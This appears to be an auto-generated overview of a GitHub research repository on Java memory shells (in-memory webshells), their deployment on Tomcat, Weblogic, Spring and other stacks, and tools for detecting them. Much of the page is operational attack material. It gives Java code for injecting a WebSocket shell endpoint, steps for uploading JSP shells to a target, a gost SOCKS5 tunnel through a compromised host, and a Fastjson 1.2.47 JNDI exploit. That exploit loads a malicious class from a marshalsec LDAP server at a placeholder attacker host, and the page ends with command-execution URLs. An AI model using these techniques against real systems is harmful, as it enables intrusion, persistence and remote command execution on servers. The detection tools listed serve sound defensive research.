repository·main·Indexed 21 days ago
https://github.com/getshell/mshellA research repository focused on the study, implementation, and detection of memory shells (内存马), primarily within the Java ecosystem. It provides technical resources, implementation methods, and detection tools for various middleware and frameworks, including Tomcat, Weblogic, JBoss/Wildfly, Jetty, Websphere, and Spring. The project covers multiple shell types such as Filter, Servlet, Listener, Valve, and WebSocket, and includes guidance on exploiting deserialization vulnerabilities (e.g., Fastjson) to deploy these shells.
The mshell repository provides a curated collection of resources for researching Java Memory Shells (Memshells), covering offensive techniques, defensive strategies, and academic research.
Technical Articles: A vast collection of deep-dives into various Memshell types, including:
Open Source Projects: Links to various implementation tools and generators, such as:
msmap: A Memshell generation framework.java-memshell-generator: A tool for generating Java Memshells.JundeadShell, ZhouYu, and memShell implementations.Academic Papers: Research papers focusing on high-adversary detection technologies for Java Memshells and specific detection techniques for Tomcat Filter-type Memshells.
For developers or security researchers, the resources are categorized by complexity, ranging from basic Java security concepts to advanced 'untraceable' (无痕) injection and bypass techniques.
To use a WebSocket memory shell, your management tool must support the WebSocket protocol.
Integration Strategies:
For defensive research and incident response, the repository lists several tools and methodologies for detecting and killing memory shells (查杀).
FindShell, shell-analyzer, java-memshell-scanner, MemoryShellHunter, java-memshell-scan, DuckMemoryScan.DefendMemoryShell (for defense), copagent.alibaba/arthas (for live JVM inspection).A WebSocket memory shell leverages the full-duplex nature of the WebSocket protocol to establish a communication channel that is difficult to detect via standard memshell scanner tools because it does not require registering new Listeners, Servlets, or Filters.
To implement this after the server has already started, follow these three steps:
ServerEndpointConfig using the ServerEndpointConfig.Builder.ServerContainer from the ServletContext attributes.addEndpoint(config) on the container.Compatibility:
Note on JSR356: Since JSR356 is part of Java EE 7, implementing a WebSocket memory shell does not require any third-party dependencies.
// 1. Create the configuration for the endpoint
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build();
// 2. Retrieve the ServerContainer from the ServletContext
ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());
// 3. Inject the endpoint into the running container
container.addEndpoint(config);The Mshell repository provides a curated list of practical implementations and research for memory shells across various technology stacks. Use these resources to study how memory shells are implemented in specific environments for offensive or defensive research.
TomShell, TomcatMemShell, and Memory.WeblogicShell.SpringShell.wsMemShell.flask_memory_shell.net_memory_webshell and GodzillaMemoryShellProject.NET.Other stacks covered include Shiro, Jboss, WebSphere, gRPC, Struts2, and various deserialization-based injection methods (Shiro, Fastjson).
You can deploy memory shells by uploading or writing the corresponding .jsp file for the target Tomcat version to the environment and accessing it via a browser.
Success is indicated when the page returns the string >@<.
Naming Convention:
memlistener8910.jsp: Listener CMD memory shell for Tomcat 8/9/10.icememfilter7.jsp: IceScorpion (冰蝎) Filter memory shell for Tomcat 7.Supported Tomcat versions include 7, 8, 9, and 10.
<!-- Access the uploaded JSP via browser to trigger injection -->
http://target-ip/memlistener8910.jspTo use .java or .class memory shells, you must combine them with a deserialization vulnerability (e.g., Fastjson JNDI or SnakeYAML SPI).
Important Notes:
.java files, ensure the filename matches the class name.Thread.currentThread().getContextClassLoader() to obtain the StandardContext. This method does not work on Tomcat 7.AbstractTranslet and modifying Header size).Naming Convention Examples:
LRain10: Listener CMD memory shell for Tomcat 10.IFRain: Filter IceScorpion (冰蝎) memory shell for Tomcat 8/9.Because WebSocket is a full-duplex protocol, it can be used to build high-speed proxies, similar to standard TCP proxies. This is particularly useful for hosts with no outbound internet access (out-of-network hosts) that have been compromised via deserialization vulnerabilities.
After injecting a WebSocket proxy memory shell, you can use gost to connect to the proxy path. For example, if the memory shell is listening on 127.0.0.1:8080 at the path /proxy, you can set up a local SOCKS5 proxy to tunnel your traffic through it.
# Use gost to create a local SOCKS5 proxy (port 1080) that tunnels through the WebSocket proxy path
./gost -L "socks5://:1080" -F "ws://127.0.0.1:8080?path=/proxy"To exploit a Fastjson 1.2.47 deserialization vulnerability using a Tomcat memory shell (e.g., ILRain.class):
marshalsec to host the malicious class.Step 1: Start LDAP Server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#ILRain 9102Step 2: Fastjson PoC
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://xx.xx.xx.xx:9102/123",
"autoCommit":true
}
}java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#ILRain 9102Once the memory shell is injected, access it using the following URL patterns:
http://<ip>/?chan=<command> (e.g., /?chan=whoami)http://<ip>/goautomnehttp://<ip>/p?chan=<command> (e.g., /p?chan=whoami)http://<ip>/pgoautomneThe memShell project provides Java-based memory shells (memShell) that are compatible with various middleware and frameworks. The following versions have been tested and verified: